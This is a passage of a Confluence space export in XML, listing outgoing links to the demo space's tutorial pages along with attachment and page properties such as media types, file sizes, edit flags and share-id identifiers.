<property name="lowerDestinationPageTitle"><![CDATA[let's edit this page (step 3 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98314</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262262</id>
|
||||
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
|
||||
<property name="stringValue"><![CDATA[image/png]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196611</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Tell people what you think in a comment (step 8 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[tell people what you think in a comment (step 8 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98314</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262261</id>
|
||||
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
|
||||
<property name="stringValue"><![CDATA[image/png]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196612</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Welcome to Confluence]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[welcome to confluence]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98314</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262260</id>
|
||||
<property name="name"><![CDATA[MINOR_EDIT]]></property>
|
||||
<property name="stringValue"/><property name="longValue">0</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196613</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Lay out your page (step 6 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[lay out your page (step 6 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98314</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262259</id>
|
||||
<property name="name"><![CDATA[FILESIZE]]></property>
|
||||
<property name="stringValue"/><property name="longValue">34478</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262258</id>
|
||||
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
|
||||
<property name="stringValue"><![CDATA[image/png]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262257</id>
|
||||
<property name="name"><![CDATA[HIDDEN]]></property>
|
||||
<property name="stringValue"/><property name="longValue">0</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262256</id>
|
||||
<property name="name"><![CDATA[FILESIZE]]></property>
|
||||
<property name="stringValue"/><property name="longValue">6988</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196609</id>
|
||||
<property name="destinationPageTitle"><![CDATA[//youtu.be/RXhL9cfwx2c]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[//youtu.be/rxhl9cfwx2c]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[https]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[https]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98314</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262255</id>
|
||||
<property name="name"><![CDATA[HIDDEN]]></property>
|
||||
<property name="stringValue"/><property name="longValue">0</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262254</id>
|
||||
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
|
||||
<property name="stringValue"><![CDATA[image/png]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262253</id>
|
||||
<property name="name"><![CDATA[FILESIZE]]></property>
|
||||
<property name="stringValue"/><property name="longValue">88136</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262252</id>
|
||||
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
|
||||
<property name="stringValue"><![CDATA[image/png]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262251</id>
|
||||
<property name="name"><![CDATA[HIDDEN]]></property>
|
||||
<property name="stringValue"/><property name="longValue">0</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262250</id>
|
||||
<property name="name"><![CDATA[FILESIZE]]></property>
|
||||
<property name="stringValue"/><property name="longValue">2144</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262249</id>
|
||||
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
|
||||
<property name="stringValue"><![CDATA[image/jpeg]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262248</id>
|
||||
<property name="name"><![CDATA[MINOR_EDIT]]></property>
|
||||
<property name="stringValue"/><property name="longValue">1</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262247</id>
|
||||
<property name="name"><![CDATA[FILESIZE]]></property>
|
||||
<property name="stringValue"/><property name="longValue">109868</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262246</id>
|
||||
<property name="name"><![CDATA[HIDDEN]]></property>
|
||||
<property name="stringValue"/><property name="longValue">0</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262245</id>
|
||||
<property name="name"><![CDATA[MINOR_EDIT]]></property>
|
||||
<property name="stringValue"/><property name="longValue">0</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262244</id>
|
||||
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
|
||||
<property name="stringValue"><![CDATA[image/png]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262243</id>
|
||||
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
|
||||
<property name="stringValue"><![CDATA[image/png]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262242</id>
|
||||
<property name="name"><![CDATA[MINOR_EDIT]]></property>
|
||||
<property name="stringValue"/><property name="longValue">0</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262241</id>
|
||||
<property name="name"><![CDATA[HIDDEN]]></property>
|
||||
<property name="stringValue"/><property name="longValue">0</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262240</id>
|
||||
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
|
||||
<property name="stringValue"><![CDATA[image/jpeg]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262239</id>
|
||||
<property name="name"><![CDATA[FILESIZE]]></property>
|
||||
<property name="stringValue"/><property name="longValue">47510</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262238</id>
|
||||
<property name="name"><![CDATA[FILESIZE]]></property>
|
||||
<property name="stringValue"/><property name="longValue">3070</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262237</id>
|
||||
<property name="name"><![CDATA[MINOR_EDIT]]></property>
|
||||
<property name="stringValue"/><property name="longValue">0</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262236</id>
|
||||
<property name="name"><![CDATA[MINOR_EDIT]]></property>
|
||||
<property name="stringValue"/><property name="longValue">0</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262235</id>
|
||||
<property name="name"><![CDATA[MINOR_EDIT]]></property>
|
||||
<property name="stringValue"/><property name="longValue">0</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262234</id>
|
||||
<property name="name"><![CDATA[FILESIZE]]></property>
|
||||
<property name="stringValue"/><property name="longValue">15296</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262233</id>
|
||||
<property name="name"><![CDATA[FILESIZE]]></property>
|
||||
<property name="stringValue"/><property name="longValue">2131</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262232</id>
|
||||
<property name="name"><![CDATA[FILESIZE]]></property>
|
||||
<property name="stringValue"/><property name="longValue">9446</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262231</id>
|
||||
<property name="name"><![CDATA[MINOR_EDIT]]></property>
|
||||
<property name="stringValue"/><property name="longValue">0</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262230</id>
|
||||
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
|
||||
<property name="stringValue"><![CDATA[image/jpeg]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262229</id>
|
||||
<property name="name"><![CDATA[FILESIZE]]></property>
|
||||
<property name="stringValue"/><property name="longValue">2398</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262228</id>
|
||||
<property name="name"><![CDATA[HIDDEN]]></property>
|
||||
<property name="stringValue"/><property name="longValue">0</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262227</id>
|
||||
<property name="name"><![CDATA[MINOR_EDIT]]></property>
|
||||
<property name="stringValue"/><property name="longValue">1</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262226</id>
|
||||
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
|
||||
<property name="stringValue"><![CDATA[image/jpeg]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262225</id>
|
||||
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
|
||||
<property name="stringValue"><![CDATA[image/jpeg]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262224</id>
|
||||
<property name="name"><![CDATA[HIDDEN]]></property>
|
||||
<property name="stringValue"/><property name="longValue">0</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262223</id>
|
||||
<property name="name"><![CDATA[MINOR_EDIT]]></property>
|
||||
<property name="stringValue"/><property name="longValue">0</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262222</id>
|
||||
<property name="name"><![CDATA[MINOR_EDIT]]></property>
|
||||
<property name="stringValue"/><property name="longValue">1</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262221</id>
|
||||
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
|
||||
<property name="stringValue"><![CDATA[image/png]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262220</id>
|
||||
<property name="name"><![CDATA[MINOR_EDIT]]></property>
|
||||
<property name="stringValue"/><property name="longValue">0</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262219</id>
|
||||
<property name="name"><![CDATA[FILESIZE]]></property>
|
||||
<property name="stringValue"/><property name="longValue">7054</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262218</id>
|
||||
<property name="name"><![CDATA[HIDDEN]]></property>
|
||||
<property name="stringValue"/><property name="longValue">0</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262217</id>
|
||||
<property name="name"><![CDATA[HIDDEN]]></property>
|
||||
<property name="stringValue"/><property name="longValue">0</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262216</id>
|
||||
<property name="name"><![CDATA[MINOR_EDIT]]></property>
|
||||
<property name="stringValue"/><property name="longValue">0</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262215</id>
|
||||
<property name="name"><![CDATA[FILESIZE]]></property>
|
||||
<property name="stringValue"/><property name="longValue">12098</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262214</id>
|
||||
<property name="name"><![CDATA[FILESIZE]]></property>
|
||||
<property name="stringValue"/><property name="longValue">27998</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262213</id>
|
||||
<property name="name"><![CDATA[FILESIZE]]></property>
|
||||
<property name="stringValue"/><property name="longValue">41645</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262212</id>
|
||||
<property name="name"><![CDATA[HIDDEN]]></property>
|
||||
<property name="stringValue"/><property name="longValue">0</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262211</id>
|
||||
<property name="name"><![CDATA[MINOR_EDIT]]></property>
|
||||
<property name="stringValue"/><property name="longValue">1</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262210</id>
|
||||
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
|
||||
<property name="stringValue"><![CDATA[image/png]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262209</id>
|
||||
<property name="name"><![CDATA[MINOR_EDIT]]></property>
|
||||
<property name="stringValue"/><property name="longValue">1</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262208</id>
|
||||
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
|
||||
<property name="stringValue"><![CDATA[image/png]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262207</id>
|
||||
<property name="name"><![CDATA[FILESIZE]]></property>
|
||||
<property name="stringValue"/><property name="longValue">264209</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262206</id>
|
||||
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
|
||||
<property name="stringValue"><![CDATA[image/jpeg]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262205</id>
|
||||
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
|
||||
<property name="stringValue"><![CDATA[image/png]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262204</id>
|
||||
<property name="name"><![CDATA[FILESIZE]]></property>
|
||||
<property name="stringValue"/><property name="longValue">2398</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262203</id>
|
||||
<property name="name"><![CDATA[HIDDEN]]></property>
|
||||
<property name="stringValue"/><property name="longValue">0</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262202</id>
|
||||
<property name="name"><![CDATA[MINOR_EDIT]]></property>
|
||||
<property name="stringValue"/><property name="longValue">0</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262201</id>
|
||||
<property name="name"><![CDATA[MINOR_EDIT]]></property>
|
||||
<property name="stringValue"/><property name="longValue">1</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262200</id>
|
||||
<property name="name"><![CDATA[macro-create-events-published-for-version]]></property>
|
||||
<property name="stringValue"/><property name="longValue">8</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262199</id>
|
||||
<property name="name"><![CDATA[MINOR_EDIT]]></property>
|
||||
<property name="stringValue"/><property name="longValue">1</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262198</id>
|
||||
<property name="name"><![CDATA[FILESIZE]]></property>
|
||||
<property name="stringValue"/><property name="longValue">21488</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262197</id>
|
||||
<property name="name"><![CDATA[macroNames]]></property>
|
||||
<property name="stringValue"/><property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262196</id>
|
||||
<property name="name"><![CDATA[HIDDEN]]></property>
|
||||
<property name="stringValue"/><property name="longValue">0</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262195</id>
|
||||
<property name="name"><![CDATA[share-id]]></property>
|
||||
<property name="stringValue"><![CDATA[32b657a6-50f7-4a6a-aaea-102ce537c268]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262194</id>
|
||||
<property name="name"><![CDATA[share-id]]></property>
|
||||
<property name="stringValue"><![CDATA[c9c2e2a4-8ebc-476f-aff1-014fe92e22ec]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262193</id>
|
||||
<property name="name"><![CDATA[share-id]]></property>
|
||||
<property name="stringValue"><![CDATA[d065f4f3-da57-4410-aa7b-7ff93e59a719]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262192</id>
|
||||
<property name="name"><![CDATA[share-id]]></property>
|
||||
<property name="stringValue"><![CDATA[498beede-3b1d-477a-8d5a-3dea256d4fa2]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262191</id>
|
||||
<property name="name"><![CDATA[share-id]]></property>
|
||||
<property name="stringValue"><![CDATA[8c741dfa-dc55-4d7e-ac8c-d3aba5a29f2a]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262190</id>
|
||||
<property name="name"><![CDATA[share-id]]></property>
|
||||
<property name="stringValue"><![CDATA[9092f143-f878-4fd8-9300-7bcecd02dd02]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262189</id>
|
||||
<property name="name"><![CDATA[share-id]]></property>
|
||||
<property name="stringValue"><![CDATA[576b0d46-e5b1-4ee9-9b58-c688fc240c65]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262188</id>
|
||||
<property name="name"><![CDATA[share-id]]></property>
|
||||
<property name="stringValue"><![CDATA[c5547696-df60-4a59-96b4-355de741a34a]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262187</id>
|
||||
<property name="name"><![CDATA[share-id]]></property>
|
||||
<property name="stringValue"><![CDATA[25c3f4c7-6755-4974-aa96-0cad5b648190]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262186</id>
|
||||
<property name="name"><![CDATA[share-id]]></property>
|
||||
<property name="stringValue"><![CDATA[323e5bdf-f804-4867-920e-b006c9f2aa23]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262185</id>
|
||||
<property name="name"><![CDATA[macroNames]]></property>
|
||||
<property name="stringValue"><![CDATA[widget]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262184</id>
|
||||
<property name="name"><![CDATA[share-id]]></property>
|
||||
<property name="stringValue"><![CDATA[30ea9299-b7f7-48f4-b0b2-00d4d0b720d8]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262183</id>
|
||||
<property name="name"><![CDATA[macro-create-events-published-for-version]]></property>
|
||||
<property name="stringValue"/><property name="longValue">1</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262182</id>
|
||||
<property name="name"><![CDATA[macroNames]]></property>
|
||||
<property name="stringValue"/><property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262181</id>
|
||||
<property name="name"><![CDATA[share-id]]></property>
|
||||
<property name="stringValue"><![CDATA[79351706-62d9-47b2-902e-d7f635e020b1]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262180</id>
|
||||
<property name="name"><![CDATA[share-id]]></property>
|
||||
<property name="stringValue"><![CDATA[8c60c7b5-70b7-4d89-988a-b47459b91c6d]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262179</id>
|
||||
<property name="name"><![CDATA[share-id]]></property>
|
||||
<property name="stringValue"><![CDATA[ad00c983-c9e3-46ab-90a4-42d016a162e5]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262178</id>
|
||||
<property name="name"><![CDATA[share-id]]></property>
|
||||
<property name="stringValue"><![CDATA[aa14dd02-a368-4c44-b5a5-b997c6d519c5]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262177</id>
|
||||
<property name="name"><![CDATA[share-id]]></property>
|
||||
<property name="stringValue"><![CDATA[2c73ae66-3422-43d3-8867-b99be3fd153d]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262176</id>
|
||||
<property name="name"><![CDATA[share-id]]></property>
|
||||
<property name="stringValue"><![CDATA[b19a726e-f021-4386-a33a-cc4134368b29]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262175</id>
|
||||
<property name="name"><![CDATA[share-id]]></property>
|
||||
<property name="stringValue"><![CDATA[be8deba8-e975-4ea2-9817-94db937c8a42]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262174</id>
|
||||
<property name="name"><![CDATA[share-id]]></property>
|
||||
<property name="stringValue"><![CDATA[3c2f37c4-e102-4d53-be59-7e0ebbc80d37]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262173</id>
|
||||
<property name="name"><![CDATA[share-id]]></property>
|
||||
<property name="stringValue"><![CDATA[bdb695aa-ffc0-4544-b601-08618dfe3f43]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262172</id>
|
||||
<property name="name"><![CDATA[share-id]]></property>
|
||||
<property name="stringValue"><![CDATA[0e76d5df-8079-47bd-afe7-a90d92922657]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262171</id>
|
||||
<property name="name"><![CDATA[share-id]]></property>
|
||||
<property name="stringValue"><![CDATA[f8ae6dc9-0915-416e-bd0c-2c2aed6f19c6]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262170</id>
|
||||
<property name="name"><![CDATA[share-id]]></property>
|
||||
<property name="stringValue"><![CDATA[b41a9868-a5c0-4bd1-84c6-93910fcd12f6]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262169</id>
|
||||
<property name="name"><![CDATA[share-id]]></property>
|
||||
<property name="stringValue"><![CDATA[20018262-63f0-4469-89b6-d52cce7086b2]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262168</id>
|
||||
<property name="name"><![CDATA[share-id]]></property>
|
||||
<property name="stringValue"><![CDATA[1c198386-7ec9-48dd-a514-bbba0c4835e4]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262167</id>
|
||||
<property name="name"><![CDATA[macro-create-events-published-for-version]]></property>
|
||||
<property name="stringValue"/><property name="longValue">9</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262166</id>
|
||||
<property name="name"><![CDATA[macro-create-events-published-for-version]]></property>
|
||||
<property name="stringValue"/><property name="longValue">8</property>
|
||||
